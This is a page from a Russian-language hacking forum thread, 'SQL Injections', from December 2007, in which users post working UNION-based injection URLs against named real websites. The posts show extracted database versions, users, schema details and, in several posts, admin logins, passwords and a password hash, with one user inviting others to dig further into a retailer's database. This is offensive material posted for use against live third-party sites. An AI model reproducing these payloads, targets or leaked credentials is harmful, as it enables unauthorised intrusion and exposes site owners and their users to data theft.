ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу SQL Инъекции
   
Ответ
Страница 409 из 1242 « Первая < 309359399 405 406 407 408 409 410 411 412 413 419459509909 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #4081  
Старый 16.12.2007, 18:47
.Begemot.
Участник форума
Регистрация: 27.03.2007
Сообщений: 161
Провел на форуме:
1273248

Репутация: 785
Отправить сообщение для .Begemot. с помощью ICQ
По умолчанию
Код HTML:
http://www.salienagolf.lv/?pane=nxt&lang=1&gid=22&n=1+union+select+0,convert(concat(USER(),VERSION(),DATABASE())+using+latin1),2,3,4,5,6,7,8,9,10,11,12/*
USER:salienagolfcom@localhost
VERSION:4.1.18
DATABASE:salienagolfcom
 
Ответить с цитированием

  #4082  
Старый 16.12.2007, 19:01
halkfild
Leaders of Antichat - Level 4
Регистрация: 11.11.2005
Сообщений: 391
Провел на форуме:
7084941

Репутация: 2277
По умолчанию
http://www.fllandforsale.biz/email_rep.php?id=4/*'
http://www.fllandforsale.biz/email_rep.php?id=4+and+1=1/*'

http://www.fllandforsale.biz/email_rep.php?id=4+order+by+22/*'

http://fllandforsale.biz/searchRegions.php?pType=3/*
http://fllandforsale.biz/searchRegions.php?pType=3+and+1=1/*
http://fllandforsale.biz/searchRegions.php?pType=3+order+by+1/*


http://fllandforsale.biz/showListing.php?type=property&id=348+and+1/*
http://fllandforsale.biz/showListing.php?type=property&id=348+order+by+4/*

http://www.fllandforsale.biz/email_rep.php?id=-4+union+select+1,2,3,4,5,6,concat_ws(0x3a3a,versio n(),user(),database()),8,9,0,11,12,13,14,15,16,17, 18,19,20,21,22
4.1.20::h7t6Y54@localhost::flland

p.s. версия 4-ка и легким брутом таблици не подобрал, читать тоже прав нет

http://www.epdlp.com/clasica.php?id=397+and+1=1/*'
http://www.epdlp.com/clasica.php?id=397+order+by+14/*'
http://www.epdlp.com/clasica.php?id=397+union+select+1,2,3,4,5,6,7,8,9, 10,11,12,13,14/*'

http://www.epdlp.com/clasica.php?id=397+union+select+1,2,concat_ws(0x3a 3a,version(),user(),database()),4,5,6,7,8,9,10,11, 12,13,14/*'
5.0.45::epdlp@208.109.86.144::epdlp



http://www.epdlp.com/clasica.php?id=397+union+select+1,2,convert(concat _ws(0x3a3a,table_name,column_name)+using+latin1),4 ,5,6,7,8,9,10,11,12,13,14+from+information_schema. columns+where+table_name=''+limit+100,11/*'

clasica::top100
clasica:bra
clasica::nommusico
clasica::apemusico
clasica::fecha

http://www.epdlp.com/clasica.php?id=397+union+select+1,2,convert(concat _ws(0x3a3a,table_name,column_name)+using+latin1),4 ,5,6,7,8,9,10,11,12,13,14+from+information_schema. columns+where+table_name='clasica'+limit+1,4/*'

texto::apeautor
http://www.epdlp.com/clasica.php?id=397+union+select+1,2,convert(concat _ws(0x3a3a,table_schema,table_name,column_name)+us ing+latin1),4,5,6,7,8,9,10,11,12,13,14+from+inform ation_schema.columns+where+column_name+like+'%mail %'+limit+1,2/*'
http://www.epdlp.com/clasica.php?id=397+union+select+1,2,convert(concat _ws(0x3a3a,table_schema,table_name,column_name)+us ing+latin1),4,5,6,7,8,9,10,11,12,13,14+from+inform ation_schema.columns+where+table_name='felicitacio nes'/*'

felicitaciones
epdlp::felicitaciones::comentario
epdlp::felicitaciones::ID
epdlp::felicitaciones::anio
epdlp::felicitaciones::mes
epdlp::felicitaciones::fecha
epdlp::felicitaciones::dia
epdlp::felicitaciones::hora
epdlp::felicitaciones::email
epdlp::felicitaciones::contenido

p.s. версия 5-ка таблиц много можете поискать что-то)) /*прав читать файлы нет =\*/
 
Ответить с цитированием

  #4083  
Старый 16.12.2007, 20:26
SWAT
Участник форума
Регистрация: 14.12.2006
Сообщений: 211
Провел на форуме:
1541753

Репутация: 552
По умолчанию
Код:
http://ted.aol.com/index.php?ID=-1241+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*
 
Ответить с цитированием

  #4084  
Старый 16.12.2007, 20:55
halkfild
Leaders of Antichat - Level 4
Регистрация: 11.11.2005
Сообщений: 391
Провел на форуме:
7084941

Репутация: 2277
По умолчанию
megаmaх.ua
PR=4

сеть супермаркетов техники

http://www.megаmaх.ua/ru/index.php?page=product&url=more&tovar_id=13677+and +1=1/*'
http://www.megаmaх.ua/ru/index.php?page=product&url=more&tovar_id=13677+ord er+by+26/*'
http://www.megаmaх.ua/ru/index.php?page=product&url=more&tovar_id=-13677+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,17,18,19,20,21,22,23,24,25,26/*'
http://www.megаmaх.ua/ru/index.php?page=product&url=more&tovar_id=-13677+union+select+1,2,3,4,5,concat_ws(0x3a3a,vers ion(),user(),database()),7,8,9,10,11,12,13,14,15,1 6,17,18,19,20,21,22,23,24,25,26/*'
4.0.27-standard::megаmax@tom.kiev.sovam.com::megamax

кто подберет таблицу и поля с меня +))
Последний раз редактировалось halkfild; 16.12.2007 в 21:00..
 
Ответить с цитированием

  #4085  
Старый 16.12.2007, 21:25
SWAT
Участник форума
Регистрация: 14.12.2006
Сообщений: 211
Провел на форуме:
1541753

Репутация: 552
По умолчанию
удалено! баян
Последний раз редактировалось SWAT; 16.12.2007 в 21:37..
 
Ответить с цитированием

  #4086  
Старый 16.12.2007, 21:30
0nep@t0p
Участник форума
Регистрация: 25.05.2007
Сообщений: 147
Провел на форуме:
2313429

Репутация: 728
По умолчанию
WWW.PRIVATE.COM
Код:
http://www.private.com/clips/index.php?clip_category_id=-16%20union%20select%201,2,3,table_name,5,6,7,8,9%20from%20information_schema.tables/*
Версия: 5.0.44-LOG

WWW.ADAGE.COM
Код:
http://www.adage.com/adages/post.php?article_id=-122080+union+select+1,convert(concat(user,0x3a,password),binary),3,4,5,6,7,8,9,10+from+mysql.user/*
Версия: 4.1.15-emic-2.7.1-121-log
Юзер: adage@localhost
http://www.adage.com/phpmyadmin
adage: aa179
trey: trey
Также логин: пасс trey: trey подходят к админке - http://www.adage.com/admin

WWW.AAJ.TV
Код:
http://www.aaj.tv/programme/index.php?pg=entertainment'&pid=-128+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat_ws(0x202d20,user_name,user_id,user_password),23,24,25+from+users/*
Версия: 4.0.27-log
Юзер: aajtv@localhost

Есть доступ к mysql.user

WWW.THEPALMERFOUNDATION.ORG
Код:
http://www.thepalmerfoundation.org/default.asp?id=5'+or+1=(select+top+1+cast(username+as+nvarchar)%2B%27%3A%27%2Bcast(password+as+nvarchar)+from+users+where+id=4)--
Версия: Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
Если покопаться, то наверное можно найти логины и пассы к Grant Login

WWW.VIBORI.INFO
Код:
http://www.vibori.info/news/article.php?id=-5200+union+select+1,concat(id,0x3a,name,0x3a,second_name,0x3a,last_name,0x3a,email,0x3a,password,0x3a,url,0x3a,heading),3,4,5,6,7,8,9,10,11,12,13+from+authors+limit+0,1/*
Версия: 5.0.45-log
Юзер: u8875@10.10.10.211

WWW.KUPI.TV
Код:
http://www.kypi.tv/catalog.php?id=-137+union+select+1,2,3,4,5,6,concat(login,char(58),password),8,9+from+fs_admin+limit+1,11/*
Версия: 5.0.45-log
Юзер: u57027@10.10.10.214
admin:4f7e11633b3f8e44b442d79f35dd540d:maximus
Странно, но пасс к админке ( www.kypi.tv/admin/ ) не подходит

WWW.KUBTELECOM.KUBAN.TV
Код:
http://www.kubtelecom.kuban.tv/press.php?a=v&id=-20+union+select+1,2,3,user,password,6,7,8+from+mysql.user+limit+0,1/*
Версия: 4.0.10-gamma
Юзер: root@localhost

WWW.PRIORITET.TV
Код:
http://www.prioritet.tv/pages/analitic_info.php?themeID=-125+union+select+1,2,3,4,5,6,7,8,9/*
Версия: 4.1.22
Юзер: u_prioritet@localhost
Последний раз редактировалось 0nep@t0p; 29.03.2008 в 22:25..
 
Ответить с цитированием

  #4087  
Старый 17.12.2007, 03:56
SWAT
Участник форума
Регистрация: 14.12.2006
Сообщений: 211
Провел на форуме:
1541753

Репутация: 552
По умолчанию
Код:
http://vkus.by/index.php?n=-416+union+select+1,2,VERSION(),4,5,6/*
Код:
http://www.cfis.by/news.php?id=-43+union+select+1,VERSION(),3,4,5/*
Код:
http://www.sovadmin.gomel.by/news.php?id=-1336+union+select+1,VERSION(),3,4,5,6,7,8,9/*
Код:
http://www.tc-europa.by/news.php?id=-69+union+select+1,VERSION(),3,4,5,6,7,8,9/*
Последний раз редактировалось SWAT; 17.12.2007 в 04:12..
 
Ответить с цитированием

  #4088  
Старый 17.12.2007, 04:25
SWAT
Участник форума
Регистрация: 14.12.2006
Сообщений: 211
Провел на форуме:
1541753

Репутация: 552
По умолчанию
Код:
http://www.propertiesbulgaria.biz/news.php?id=-3+union+select+1,concat_ws(0x203a20,username,password),3+from+admin_users/*
Код:
http://www.lanlords.biz/news.php?id=-5+union+select+1,2,3,VERSION(),5/*
Последний раз редактировалось SWAT; 17.12.2007 в 04:30..
 
Ответить с цитированием

  #4089  
Старый 17.12.2007, 17:59
-=lebed=-
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме:
12702287

Репутация: 4738


По умолчанию
everyfsbo.com - х.е.з что за хрень, похоже на ханипот или похекале уже...
Код:
_http://www.everyfsbo.com/fullnews.php?id=17+union+select+1,concat(version(),0x3a,user(),0x3a,database()),null,null,null/*
_http://www.everyfsbo.com/fullnews.php?id=17+union+select+1,concat(name,0x3a,password,0x3a),null,null,null+from+admin+limit+0,1/*
 
Ответить с цитированием

  #4090  
Старый 17.12.2007, 19:50
.Begemot.
Участник форума
Регистрация: 27.03.2007
Сообщений: 161
Провел на форуме:
1273248

Репутация: 785
Отправить сообщение для .Begemot. с помощью ICQ
По умолчанию
www.lancsfirerescue.org.uk

Код HTML:
http://www.lancsfirerescue.org.uk/lfrs/fire_stations/your_station.php?id=3+union+select+0,1,concat(USER(),0x3a,VERSION(),0x3a,DATABASE()),3,4,5,6,7,8,9,10,11,12,13,14,15/*
USER:lancsfire@localhost
VERSION:4.1.22-standard-log
DATABASE:lfrs_new
 
Ответить с цитированием
Ответ
Страница 409 из 1242 « Первая < 309359399 405 406 407 408 409 410 411 412 413 419459509909 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ